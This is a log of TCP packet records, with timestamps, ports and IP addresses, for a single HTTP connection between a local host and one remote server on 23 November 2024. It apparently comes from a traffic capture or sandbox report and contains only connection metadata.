Nov 23, 2024 13:28:42.192955017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.193056107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.193105936 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.195398092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.195498943 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.195547104 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.197890997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.197995901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.198044062 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.200392962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.200431108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.200481892 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.227408886 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.227535963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.227583885 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.228636026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.228745937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.228816986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.231108904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.231769085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.231818914 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.231858969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.234308958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.234368086 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.234426022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.235955954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.236008883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.236020088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.238392115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.238456011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.310914993 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.310960054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.311002016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.329179049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.329318047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.329359055 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.330322027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.330466986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.330518007 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.332097054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.332156897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.332197905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.333467007 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.333559990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.333600044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.336134911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.336220980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.336262941 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.338381052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.338490963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.338537931 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.340861082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.341012001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.341046095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.343408108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.343434095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.343473911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.353144884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.353169918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.353209019 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.354058981 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.354217052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.354259014 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.356246948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.356292963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.356328964 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.379616976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.379718065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.379772902 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.396174908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.396244049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.396285057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.397140026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.397751093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.397794962 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.397838116 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.399918079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.399960041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.438165903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.438182116 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.438241005 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.438699961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.438761950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.438801050 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.439924955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.439996004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.440033913 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.442182064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.442245007 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.442280054 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.443826914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.443841934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.443881989 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.480688095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.480794907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.480835915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.481815100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.481935978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.481980085 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.484144926 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.520602942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.520647049 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.520687103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.521682978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.521730900 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.522067070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.522094011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.522145033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.523370981 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.523507118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.523546934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.525707960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.525813103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.525850058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.539431095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.539474964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.539515018 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.563493967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.563549042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.563591003 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.564197063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.564323902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.564361095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.566575050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.566812992 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.566857100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.568768978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.589898109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.589948893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.589975119 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.605897903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.605968952 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.606086016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.607228994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.607285976 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.607292891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.608586073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.608634949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.608685970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.610898018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.610955000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.611011982 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.613224983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.613270044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.645870924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.646020889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.646074057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.646986961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.647305965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.647353888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.647505045 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.649588108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.649645090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.650090933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.650233984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.650276899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.652287960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.652441025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.652487993 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.654597998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.688110113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.688198090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.688225985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.689265966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.689323902 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.689510107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.689611912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.689657927 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.691823006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.692193985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.692262888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.692311049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.694530010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.694586039 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.694598913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.696820974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.696881056 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.731190920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.731206894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.731255054 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.732331991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.732532024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.732547998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.732573032 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.734790087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.734841108 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.735161066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.735352039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.735394001 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.737811089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.738173962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.738220930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.739629030 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.783188105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.785744905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.785859108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.785913944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.806214094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.806384087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.806437969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.807351112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.807456970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.807501078 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.809655905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.809771061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.809813023 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.812021971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.812120914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.812159061 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.814083099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.814286947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.814332008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.840817928 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.840888023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.840941906 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.841485977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.841609955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.841651917 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.842792034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.842859983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.842910051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.845133066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.845237970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.845280886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.847477913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.847563982 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.849728107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.849786997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.849818945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.849858999 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.857991934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.858153105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.858253002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.859146118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.859852076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.859910965 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.859956980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.861799002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.861860037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.862231970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.862340927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.862386942 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.864581108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.864689112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.865895033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.866882086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.900302887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.900471926 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.900671959 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.901210070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.901269913 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.901810884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.901900053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.903659105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.903716087 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.903747082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.905905008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.942004919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.942024946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.942105055 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.960834980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.960951090 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.960993052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.962023973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.962093115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.965900898 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.984476089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.984644890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.984690905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.985611916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.985718966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.985887051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.987934113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.988661051 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.988708973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.988764048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.990967035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.991074085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.991134882 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.993279934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.993416071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:42.996078014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.996166945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:42.996243954 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.003421068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.003530025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.003595114 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.004378080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.004493952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.004539967 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.006668091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.007534981 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.007606983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.007705927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.009871006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.009913921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.009951115 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.051189899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.051249027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.051357031 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.088042974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.088084936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.088169098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.088674068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.088814974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.089643002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.091012955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.091128111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.091173887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.093383074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.093506098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.093547106 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.095674038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.095747948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.095804930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.130059004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.130146980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.130204916 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.131273031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.131378889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.131429911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.152163029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.152266979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.152348042 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.157449961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.157468081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.157533884 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.158221960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.171216965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.171304941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.171359062 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.172298908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.172347069 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.194803953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.194886923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.194943905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.300147057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.300379992 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:43.300426960 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:43.301228046 CET	80	49758	34.116.198.130	192.168.2.6
